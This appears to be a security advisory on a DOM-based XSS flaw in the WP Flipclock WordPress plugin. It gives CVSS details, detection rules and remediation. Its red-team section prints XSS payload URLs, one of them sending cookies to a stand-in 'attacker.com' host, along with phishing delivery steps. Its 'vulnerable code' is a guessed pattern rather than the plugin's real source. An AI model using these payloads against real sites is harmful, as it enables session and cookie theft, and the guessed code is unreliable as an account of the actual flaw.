CVE-2025-39540

Executive Summary

CVE-2025-39540 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WP Flipclock WordPress plugin, developed by Rhys Wynne. The flaw exists in versions up to and including 1.9.1, where user-supplied input is improperly neutralized during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. This vulnerability is classified under CWE-79 and carries a CVSS score of 6.5 (Medium). No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. WP Flipclock is distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the DOM-based nature and lack of patch make it a persistent threat for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the wp-flipclock plugin's JavaScript handling of user input. The plugin likely uses document.write, innerHTML, or similar DOM manipulation methods to render content without proper sanitization. An attacker can craft a URL with a malicious payload in a query parameter (e.g., ?clock=...) that, when processed by the plugin's JavaScript, injects arbitrary HTML/JavaScript into the page DOM.

Root Cause: The plugin fails to sanitize or escape input before inserting it into the DOM via client-side scripts. This is a classic DOM-based XSS, where the payload never reaches the server but executes in the browser.

Attack Vector: The attacker sends a crafted link to a victim (e.g., via email or social engineering). When the victim visits the link on a site running the vulnerable plugin, the malicious script executes in their browser context, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern:

Vulnerable Code (JavaScript):

// Example of vulnerable code in wp-flipclock
var clockParam = new URLSearchParams(window.location.search).get('clock');
document.getElementById('flipclock').innerHTML = clockParam;

Patched Code (Hypothetical):

// Proper sanitization using DOMPurify or textContent
var clockParam = new URLSearchParams(window.location.search).get('clock');
var sanitized = DOMPurify.sanitize(clockParam);
document.getElementById('flipclock').textContent = sanitized;

The patched version uses textContent instead of innerHTML and applies a sanitization library like DOMPurify to strip malicious content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with WP Flipclock <= 1.9.1 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create a URL with a malicious parameter:

   http://target-site.com/?clock=<img src=x onerror=alert('XSS')>
   

3. Deliver: Send the link to a victim via phishing email or social media.
4. Execute: When the victim clicks the link, the script executes in their browser.

Example Exploit URL:

http://target-site.com/?clock=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

1. Monitor Logs: Check web server logs for unusual query parameters containing <script> or onerror patterns.
2. Deploy WAF Rules: Block requests with query parameters containing <, >, script, or onerror.
3. User Education: Train users to avoid clicking suspicious links, especially those with query strings.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing ?clock= followed by HTML/JavaScript code.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• Browser Console: JavaScript errors or unexpected alert() dialogs.
• File Integrity: Modified wp-flipclock plugin files (if attacker gains admin access).

Detection Engineering

YARA Rule

rule CVE_2025_39540_WP_Flipclock_XSS {
    meta:
        description = "Detects DOM-based XSS in WP Flipclock plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39540"
    strings:
        $xss1 = /clock=.*<script/i
        $xss2 = /clock=.*onerror/i
        $xss3 = /clock=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-39540 WP Flipclock DOM XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential DOM-based XSS attempts targeting WP Flipclock
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - 'clock=<'
            - 'clock='
        cs-uri-query|re: 'clock=.*(script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of clock parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39540 WP Flipclock DOM XSS Attempt"; flow:to_server; content:"clock="; http_uri; pcre:"/clock=.*(script|onerror|onload)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or uninstall the WP Flipclock plugin until a patch is released.
2. Virtual Patching: Deploy a WAF rule to block requests containing clock= with suspicious patterns.
3. Code Fix: If you maintain the plugin, sanitize all user input using textContent or a library like DOMPurify.
4. Monitoring: Enable logging for all query parameters and review for anomalies.
5. User Awareness: Educate users about phishing links and the risks of DOM-based XSS.

Valters IT – Securing digital frontiers with precision and expertise.